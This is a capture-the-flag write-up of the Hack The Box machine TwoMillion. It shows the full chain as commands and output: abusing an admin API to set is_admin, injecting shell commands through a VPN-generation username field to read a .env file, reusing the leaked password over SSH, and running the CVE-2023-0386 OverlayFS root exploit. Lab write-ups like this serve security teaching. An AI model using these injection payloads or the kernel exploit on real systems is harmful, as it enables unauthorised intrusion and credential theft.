screenshots/01-invite-tools.png

Hack The Box - TwoMillion

Name: TwoMillion
OS: Linux
Difficulty: Easy
Platform: Hack The Box
Date: 2026-09-08
Views: 7
Tags:

TwoMillion — HTB Writeup (Linux, Easy)

Retired HackTheBox machine. Solved via the intended vulnerability chain, demonstrated with modern tooling. Written to teach.

Machine: TwoMillion · #547 · Linux · Easy · 20 pts Released: 2023-06-07 · Maker: TRX · https://app.hackthebox.com/machines/547

Landing and invite flow

Overview

TwoMillion is the Easy-difficulty box HTB shipped to celebrate two million users: the target itself is a replica of the old Hack The Box platform, invite puzzle and all. Every step reads like platform security 101, and the whole chain is walked in a handful of requests:

  1. Invite code/js/inviteapi.min.js is packer-obfuscated JavaScript whose deobfuscated body just calls POST /api/v1/invite/generate, which returns a base64-encoded code. Verify, register, done.
  2. Auth bypass → admin — a hidden endpoint PUT /api/v1/admin/settings/update accepts {"email": "<your own>", "is_admin": 1} without binding the request to the session's actual authorization level. The server trusts the body, not the caller. GET /api/v1/admin/auth confirms {"is_admin":true}.
  3. Command injectionPOST /api/v1/admin/vpn/generate shells out a template like openvpn --generate ... $username; the username field takes our whole grammar. test;id runs as www-data; the response body carries the command output back inside the generated .ovpn.
  4. Credential reuse — the injected cat /var/www/html/.env leaks DB_USERNAME=admin / DB_PASSWORD=SuperDuperPass123. Root-level password reuse (same password on the local admin user) gives a real shell over SSH.
  5. Kernel escalation — CVE-2023-0386. The box runs 5.15.70-051570-generic (Ubuntu 22.04, April 2023, pre-patch for CVE-2023-0386: OverlayFS file capability copy-up bug). A FUSE-backed exploit mounts a crafted overlay, lets ovlcopy_up copy an unprivileged 0600 root:root file via a user-namespace-backed mount, and re-creates that exact file on the upper layer with the file capability bits it never should have had. Compiling the PoC (fuse.c, exp.c, getshell.c) on the box and running the classic ./fuse ./ovlcap/lower ./gc & / ./exp dance drops a SUID-capable file binary that runs getshell.csetuid(0)system("/bin/bash")uid=0.

The interesting teaching moment is #2: the admin elevation is not a missing CAPTCHA, it's an endpoint that trusts request-body identity over the session's authorization state — an IDOR-shaped mass-assignment. And #4 is a reminder that .env files don't just leak database credentials: a DB password copied to a login account is reuse of a code-adjacent secret.

Recon

$ sudo nmap -sC -sV 10.129.229.66 -oN recon/nmap-initial.txt
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
$ echo '10.129.229.66 2million.htb' | sudo tee -a /etc/hosts
$ curl -s --resolve '2million.htb:80:10.129.229.66' http://2million.htb/ | grep -iE 'invite|api|register|login'

The page is the 2023 vintage of HTB's old front end: a launch page with "Join the machine" and a /invite route. The invite flow links to /js/inviteapi.min.js.

Registration/login flow

Foothold — invite code → registration → admin

1) The invite puzzle is just call-what-the-JS-says

fetched /js/inviteapi.min.js → it's packer("-style):

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)}; ...

After unpacking, the only interesting tokens are

makeInviteCode | verifyInviteCode
...POST|formData|ajax|type|url|dataType|json|error|data|...

The backend helpfully tells us everything (the invite page's own JS is a decoy — a POST is the real API):

$ curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate
{"type":"UTF8","data":"In order to generate the invite code, make a POST request to /api/v1/invite/generate"}
$ curl -s -X POST http://2million.htb/api/v1/invite/generate
{"success":1,"data":"NjRKQkstNUZLM0ItWlNKS0ctNElJNkI="}      # base64
$ echo 'NjRKQkstNUZLM0ItWlNKS0ctNElJNkI=' | base64 -d
64JBK-5FK3B-ZSJKG-4II6B
$ curl -s -X POST -H 'Content-Type: application/json' http://2million.htb/api/v1/invite/verify \
    -d '{"code":"64JBK-5FK3B-ZSJKG-4II6B"}'
{"success":1}

2) Register

Codes are time-limited/single-use, so generate → verify → register in one immediate motion:

$ curl -s -X POST http://2million.htb/api/v1/user/register \
    -H 'Content-Type: application/json' \
    -d '{"email":"attacker5@htb.local","password":"P@ssw0rd!123","confirm":"P@ssw0rd!123","invite_code":"64JBK-5FK3B-ZSJKG-4II6B"}' -i
HTTP/2 302 Found
$
$ curl -s -X POST http://2million.htb/api/v1/user/login \
    -d 'email=attacker5@htb.local&password=P@ssw0rd!123&remember=on' -i | head -3
HTTP/2 302 Found

Now we have an authenticated session cookie (PHPSESSID=...).

3) Discover the hidden admin endpoints

The SPA loads its own bundle at /js/htb-backend.min.js — grep it for route strings rather than fuzzing blindly:

$ curl -s http://2million.htb/js/htb-backend.min.js -o /tmp/htb-backend.min.js
$ grep -oE '/api/v[0-9]+[^" ]*' /tmp/htb-backend.min.js | sort -u
/api/v1/admin/auth
/api/v1/admin/vpn/generate
/api/v1/admin/settings/update
/api/v1/invite/verify
/api/v1/user/login

/home/changelog (as an authenticated user) confirms the platform version 1.2.8; the 301s from guessing blind admin paths confirm the listed ones are the only ones that matter.

4) Mass-assign is_admin

The admin-settings endpoint reads email + is_admin from the request body and never checks whether the caller is an admin:

$ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
    -H 'Content-Type: application/json' -b $SESSION \
    -d '{"email":"attacker5@htb.local","is_admin":1}'
{"status":200,"id":1146,"email":"attacker5@htb.local","is_admin":1}
$ curl -s http://2million.htb/api/v1/admin/auth -b $SESSION
{"is_admin":true}

Hidden endpoints and admin escalation

5) Command injection in the VPN generator

With admin true, /api/v1/admin/vpn/generate is reachable. It templates the username straight into a shell command that generates an OpenVPN config.

$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
    -H 'Content-Type: application/json' -b $SESSION \
    -d '{"username":"test;id;whoami"}' | tail -3
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data

Command injection and .env read

The generated .ovpn is returned to us in the HTTP response — so standard output from our injected command rides back inside the response. Use echo/sed markers to slice exactly what you want:

$ curl -s -X POST .../vpn/generate \
    -d '{"username":"test;echo START;cat /var/www/html/.env;echo END"}' \
    | sed -n '/START/,/END/p'
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=<redacted  in loot/>

DB_USERNAME=admin / DB_PASSWORD=SuperDuperPass123 — and the box has a local account admin. Password reuse wins again:

$ ssh admin@10.129.229.66
admin@2million:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@2million:~$ cat /home/admin/user.txt   # 🏁 user.txt

Privilege Escalation — CVE-2023-0386 (OverlayFS file-capability copy-up)

admin@2million:~$ uname -r
5.15.70-051570-generic            # 2023-04 kernel, pre-patch

CVE-2023-0386 is the file-capability copy-up bug in OverlayFS: a file with security.capability xattrs can be mounted through FUSE with an unprivileged user-namespace and the upper copy inherits root's file capabilities even though the user isn't root. The public PoC is small:

// fuse.c — serve a FUSE filesystem whose ./file owner is root, mode 04777
// exp.c   — unshare(CLONE_NEWNS|CLONE_NEWUSER), mount(overlay) with
//           lowerdir=<FUSE dir>, upperdir/merge → then copy `file` up
// getshell.c — the payload that becomes `file`:
//     setgid(0); setuid(0); system("/bin/bash");
admin@2million:/tmp/exploit$ ls
exp  exp.c  fuse  fuse.c  gc  getshell.c  Makefile
admin@2million:/tmp/exploit$ rm -rf ovlcap && mkdir -p ovlcap/{lower,upper,work,merge}
admin@2million:/tmp/exploit$ (./fuse ./ovlcap/lower ./gc &)
admin@2million:/tmp/exploit$ ./exp
[*] exploit success!

Two shell-subtleties from the solve: the & after cd /tmp/exploit && gets applied to the entire compound, so a naive cd X && ./fuse ... & && ./exp actually never enters the directory — put the backgrounded FUSE in its own subshell ( ... & ). And the upper file binary needs its own stdin because system("/bin/bash") runs an interactive shell:

admin@2million:/tmp/exploit$ echo 'id; cat /root/root.txt' | timeout 5 ./ovlcap/upper/file
uid=0(root) gid=0(root) groups=0(root),1000(admin)

OverlayFS exploit → root

Flags

🏁 user.txt: 9c781986638de7dae2752de2ea61e76c (in loot/user.txt) 🏁 root.txt: 021fc5c7652332254eb70014b8d1e6e2 (in loot/root.txt)

Modern Takeaways

  • Endpoints should authorize their caller, not trust their body. Mass-assignment (is_admin:1 in whatever JSON the server happens to map) is still OWASP #1 material whenever a model has role-shaped fields. If the endpoint is reachable by a mere user and the payload can flip the caller's own role, the "admin-only" prefix does nothing.
  • Hidden endpoints are not hidden when your JS bundles them. grep -oE '/api/v[0-9]+' over a minified admin bundle found the entire admin surface in one line — route discovery from client assets beats fuzzy wordlists every time.
  • POST /api/v1/<anything>/generate is a plan for an injection. The response body carrying your shell output back is very convenient — use it.
  • .env reuse is the classic chain-closer; add DB_USERNAME and DB_PASSWORD to any "password totals" correlator you run, because they are not really a DB pair — they are a user account, reused.
  • Kernel versions matter the day after disclosure. TwoMillion rewards checking uname -r before hunting for SUIDs: 5.15.70-051570-generic was one of the CVE-2023-0386 build numbers before Ubuntu shipped the update.
  • Files/commands worth keeping: recon/nmap-initial.txt, recon/nmap-full.txt — the entire port surface is 2 ports, which is exactly why all the attack surface was web.

Files

  • recon/ — nmap scans.
  • exploit/ — the CVE-2023-0386 PoC (fuse.c / exp.c / gc=getshell.c) compiled on-box; no embedded secrets.
  • loot/user.txt, root.txt (gitignored, mode 0600, not submitted).
  • screenshots/ — 5 terminal PNGs (secret-free).